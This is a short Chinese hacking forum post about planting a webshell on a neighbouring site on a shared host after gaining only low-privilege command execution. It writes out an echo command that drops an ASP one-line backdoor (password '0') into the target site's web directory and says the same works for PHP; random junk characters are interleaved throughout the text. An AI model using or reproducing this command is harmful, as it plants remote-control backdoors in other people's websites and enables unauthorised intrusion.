旁注cmd低权限下拿webshell

admin

在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。

7 z! d; q) H4 C  _) q# [8 Q' u命令格式
/ p( {" y% |" R1 C* L% S/ F
  o) M) E/ F0 l% Q& @9 @4 Y* hEcho 语句 >目标站绝对目录
+ O; C. p6 O$ T1 c, C, }' G
例如：
+ q" |! t. ~9 P$ X' p; V4 _' s% a( y9 J
0 m: r; t( m8 h2 ~% zecho ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp

& ^/ Z! e( p. x' L2 ~这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。
& U* N: P+ F7 T8 b( q0 i; I4 X3 z- z